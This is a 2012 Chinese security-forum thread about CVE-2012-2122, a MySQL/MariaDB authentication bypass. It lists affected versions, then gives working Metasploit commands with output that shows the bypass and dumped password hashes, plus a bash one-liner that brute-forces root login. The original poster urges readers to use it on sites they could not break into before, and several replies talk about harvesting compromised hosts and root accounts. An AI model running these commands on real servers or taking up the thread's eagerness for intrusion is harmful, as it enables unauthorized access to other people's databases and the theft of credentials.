# CVE-2012-2122: MySQL身份认证漏洞

**URL:** <https://forum.90sec.com/t/topic/3685>\
**Category:** 交流讨论\
**Created:** [2012 年6 月 11 日 10:02 UTC](https://forum.90sec.com/t/topic/3685 "2012-06-11T10:02:15Z")\
**Posts on this page:** 12\
**Page:** 1

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年6 月 11 日 10:02 UTC](https://forum.90sec.com/t/topic/3685/1 "2012-06-11T10:02:15Z")

</div>

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。  
受影响的产品：  
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are  
vulnerable.  
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.  
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

网上已经出了metasploit版本的相应利用工具，下载地址：  
[https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/mysql/mysql\_authbypass\_hashdump.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb)  
利用方法如下：$ msfconsole  
msf \> use auxiliary/scanner/mysql/mysql\_authbypass\_hashdump  
msf auxiliary(mysql\_authbypass\_hashdump) \> set USERNAME root  
msf auxiliary(mysql\_authbypass\_hashdump) \> set RHOSTS 127.0.0.1  
msf auxiliary(mysql\_authbypass\_hashdump) \> run  
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test

- 127.0.0.1:3306 Authentication bypass is 10% complete

- 127.0.0.1:3306 Authentication bypass is 20% complete

- 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts  
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...  
[+] 127.0.0.1:3306 Saving HashString as Loot: root:\*C8998584D8AA12421F29BB41132A288CD6829A6D  
[+] 127.0.0.1:3306 Saving HashString as Loot: root:\*C8998584D8AA12421F29BB41132A288CD6829A6D  
[+] 127.0.0.1:3306 Saving HashString as Loot: root:\*C8998584D8AA12421F29BB41132A288CD6829A6D  
[+] 127.0.0.1:3306 Saving HashString as Loot: root:\*C8998584D8AA12421F29BB41132A288CD6829A6D  
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:\*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89

- 127.0.0.1:3306 Hash Table has been saved: 20120611013537\_default\_127.0.0.1\_mysql.hashes\_889573.txt

- Scanned 1 of 1 hosts (100% complete)

- Auxiliary module execution completed赶快试试吧，说不定以前没日下来的站，这次就日下来了，嘿嘿，刚看到的，就转载过来了

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2012 年6 月 11 日 10:29 UTC](https://forum.90sec.com/t/topic/3685/2 "2012-06-11T10:29:16Z")

</div>

亲，开启外链的好少

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年6 月 11 日 10:38 UTC](https://forum.90sec.com/t/topic/3685/3 "2012-06-11T10:38:01Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=29351&ptid=2592) _落叶_ \*\*

```
不过，有一丝机会总是好的{:4_75:}

```

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年6 月 11 日 11:16 UTC](https://forum.90sec.com/t/topic/3685/4 "2012-06-11T11:16:37Z")

</div>

亲,至今 没碰到过外联的。。。

---

<div class="post-metadata">

作者： ![sincoder](https://forum.90sec.com/user_avatar/forum.90sec.com/sincoder/32/11422_2.png) [@sincoder](https://forum.90sec.com/u/sincoder)\
发布日期： [2012 年6 月 11 日 11:40 UTC](https://forum.90sec.com/t/topic/3685/5 "2012-06-11T11:40:18Z")

</div>

有意思……有时间研究研究。。。

---

<div class="post-metadata">

作者： ![zyq8709](https://forum.90sec.com/user_avatar/forum.90sec.com/zyq8709/32/11658_2.png) [@zyq8709](https://forum.90sec.com/u/zyq8709)\
发布日期： [2012 年6 月 11 日 13:19 UTC](https://forum.90sec.com/t/topic/3685/6 "2012-06-11T13:19:03Z")

</div>

回复一下，看看详细内容

---

<div class="post-metadata">

作者： ![user9](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/ebca7d/32.png) [@user9](https://forum.90sec.com/u/user9)\
发布日期： [2012 年6 月 11 日 13:56 UTC](https://forum.90sec.com/t/topic/3685/7 "2012-06-11T13:56:10Z")

</div>

搞root账号不错..或者用来跨库...

---

<div class="post-metadata">

作者： ![571747699](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/919ad9/32.png) [@571747699](https://forum.90sec.com/u/571747699)\
发布日期： [2012 年6 月 11 日 14:21 UTC](https://forum.90sec.com/t/topic/3685/8 "2012-06-11T14:21:52Z")

</div>

MSF 不会使用等待另外的 EXP

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年6 月 11 日 17:11 UTC](https://forum.90sec.com/t/topic/3685/9 "2012-06-11T17:11:13Z")

</div>

漏洞又爆出来了，256次就能够蒙对一次。  
用这个来扫鸡收获应该也不少啊。

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年6 月 11 日 17:15 UTC](https://forum.90sec.com/t/topic/3685/10 "2012-06-11T17:15:16Z")

</div>

很肥美的一个洞啊 哟嘻！

---

<div class="post-metadata">

作者： ![slip2008](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/bb73d2/32.png) [@slip2008](https://forum.90sec.com/u/slip2008)\
发布日期： [2012 年6 月 14 日 09:04 UTC](https://forum.90sec.com/t/topic/3685/11 "2012-06-14T09:04:41Z")

</div>

_本帖最后由 slip2008 于 2012-6-14 17:10 编辑_

有好多版本上默认是无法成功的。只对某些平台有用。

[详情可以点这](https://community.rapid7.com/community/metasploit/places)

In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied. The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2\>/dev/null; done  
mysql\>

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年6 月 14 日 10:04 UTC](https://forum.90sec.com/t/topic/3685/12 "2012-06-14T10:04:58Z")

</div>

\*\*回复 [11#](http://www.90sec.org/redirect.php?goto=findpost&pid=30171&ptid=2592) _slip2008_ \*\*

```
感谢分享！

```
